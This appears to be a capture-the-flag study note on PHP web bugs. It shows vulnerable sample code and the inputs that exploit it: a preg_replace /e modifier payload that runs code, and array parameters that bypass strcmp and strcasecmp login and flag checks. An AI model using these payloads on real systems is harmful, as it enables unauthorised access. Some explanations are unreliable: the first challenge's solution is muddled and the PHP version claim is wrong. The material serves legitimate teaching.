PHP
PHP Web Challenge
preg_replace()
It is used in string manipulation to search and replace specific patterns with strings.
$final_string = preg_replace($pattern,$replace,$input)
$pattern = strings being listed. $replace = to be replace if match $input = from user.
Example 1.
$input = " Hello Master "
$pattern = "/Master/i" // in regex, I represent case-insensitive.
$replace = "hacker!"
$result = preg_replace($pattern,$replace,$input)
echo $result
//Output : Hello hacker!
$input = "My email is john.doe@example.com, and Jane's email is jane.doe@example.net.";
$pattern = "/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/";
$replacement = "[email]";
$result = preg_replace($pattern, $replacement, $input);
echo $result; // Output: "My email is [email], and Jane's email is [email]."
$input = "2 cats, 4 dogs, and 3 birds.";
$pattern = "/\d+/";
$callback = function ($matches) {
return $matches[0] * $matches[0];
};
$result = preg_replace_callback($pattern, $callback, $input);
echo $result; // Output: "4 cats, 16 dogs, and 9 birds."
Sample CTF
<!DOCTYPE HTML>
<?php
require("flag.php");
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
if (isset($_GET['anime_is_bae'])) {
$your_entered_string = $_GET['anime_is_bae'];
$intermediate_string = 'hellotherehooman';
$final_string = preg_replace(
"/$intermediate_string/", '', $your_entered_string);
if ($final_string === $intermediate_string) {
super_secret_function();
}
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body>
<h2> Source code says it all</h2>
<h2>HINT : see how preg_replace works</h2>
<p>Try to reach <code>super_secret_function()</code></p>
<a target="_blank" href="?source">See the source code</a>
</body>
</html>
The above code can be divided into multiple parts.
Read Source Code
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
Providing the URL with value source.
http://URL/index.php?source
Get parameter
if (isset($_GET['anime_is_bae'])) {
$your_entered_string = $_GET['anime_is_bae'];
Supply the URL with value anime_is_bae
with any text. Then it will store in $your_entered_string
preg_replace
$final_string =
preg_replace("/$intermediate_string/", '', $your_entered_string);
It will check the your_entered_string
with preg_replace
. The pattern here is /$intermediate_string/
, if similar it will return, (whitespace).
Condition check
if ($final_string === $intermediate_string)
Lastly, it will check final_strings
with intermediate_string
. If the condition meet, it will return super_secret_function()
Exploitation.
preg_replace check for all character. For example "hello", 'c' and etc.
If the input strings match 100% as the pattern. It will replace the strings with $replace
.
In this case, the $intermediate_string
check with $your_entered_string
$your_entered_string = userinput
$intermediate_string = hellotherehooman
intermediate_string === final_string
As we can see, the user input can directly bypass since it only checks full words "hellotherehooman"

Another CTF
<?php
echo "<br >Welcome My Admin ! <br >";
if (isset($_GET['pat']) && isset($_GET['rep']) && isset($_GET['sub'])) {
$pattern = $_GET['pat'];
$replacement = $_GET['rep'];
$subject = $_GET['sub'];
echo "original : ".$subject ."</br>";
echo "replaced : ".preg_replace($pattern, $replacement, $subject);
}else{
die();
}
?>
We can see the URL receive 3 GET inputs, namely as pat
, rep
and sub
. For each GET
, it represent pattern
, replace
and subject/input
.
http://URL/index.php?pat=/As/&rep=as&sub=your exploit

Exploitation
PHP version 5.0 and below. Can execute /e/
modifier.
http://URL/index.php?pat=/a/e/&rep=phpinfo();&sub="Payload"

Proof that we can bypass it.
PHP Type Jungling
PHP will automatically perform conversion from one data type to another based on context. This is referred to as type juggling.
There are strict (===)
and loose(==)
comparisons.
In PHP, == is used for the loose comparison of variables. This means PHP will attempt to convert variables where it appears to make sense
The vulnerability occurs in loose comparison.
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: /upload.php");
If (($username == _POST['username'] )==0)
and (($password == _POST['password'] )==0)
it will return to the endpoint /upload.php
Since the strcmp can be manipulated as an array. Assign the $username
as an array to bypass comparison.
username[]=anything&password[]=anything
strcasecmp
Binary safe case-insensitive string comparison where trcasecmp(a,b)
will return null
when either a
or b
is not a string. In addition, null
has the same numerical value as 0
. Since we use ==
operator instead of ===
here, then null == 0
.
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$password = $_POST["password"];
if (strcasecmp($password, $FLAG) == 0)
{
echo $FLAG;
}
else
{
echo "That's the wrong password!";
}
}
?>
// There for, password[]=anything will return true.
Last updated